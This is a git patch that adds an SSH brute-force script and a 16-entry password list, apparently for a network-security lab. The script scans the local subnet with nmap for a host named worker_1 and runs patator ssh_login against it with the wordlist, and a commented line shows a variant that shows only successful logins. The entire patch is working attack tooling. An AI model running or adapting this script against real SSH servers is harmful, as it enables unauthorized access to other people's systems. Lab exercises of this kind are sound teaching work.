From 36cee9fb495f2bb4006b9c4a4fa057f775c8d95e Mon Sep 17 00:00:00 2001 From: AndreasNefeli Date: Sun, 24 Jan 2021 12:28:10 +0000 Subject: [PATCH] Upload files to '2. SSH Brute Force' --- 2. SSH Brute Force/master.sh | 7 +++++++ 2. SSH Brute Force/passwords.txt | 16 ++++++++++++++++ 2 files changed, 23 insertions(+) create mode 100644 2. SSH Brute Force/master.sh create mode 100644 2. SSH Brute Force/passwords.txt diff --git a/2. SSH Brute Force/master.sh b/2. SSH Brute Force/master.sh new file mode 100644 index 0000000..c569956 --- /dev/null +++ b/2. SSH Brute Force/master.sh @@ -0,0 +1,7 @@ +my_ip=$(ifconfig eth0 | grep 'inet' | cut -d: -f2 | awk '{print $2}') +network=$(echo $my_ip | sed 's/.[0-9]$/.*/') +worker=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') +patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker +#emfanizei kai tis apotyximenes prospatheies +#patator ssh_login user=$my_ip password=FILE0 0=passwords.txt host=$worker -x ignore:mesg='Authentication failed.' +#emfanizei mono tin epithesi ston kwdiko pou isxuei diff --git a/2. SSH Brute Force/passwords.txt b/2. SSH Brute Force/passwords.txt new file mode 100644 index 0000000..e710bab --- /dev/null +++ b/2. SSH Brute Force/passwords.txt @@ -0,0 +1,16 @@ +andreas +nefelh +141257 +151141 +asfaleia +network +security +crypto +tupp +markopoyliotou +rhgas +papakia +leftapolla +ptuxiopote +asteio +docker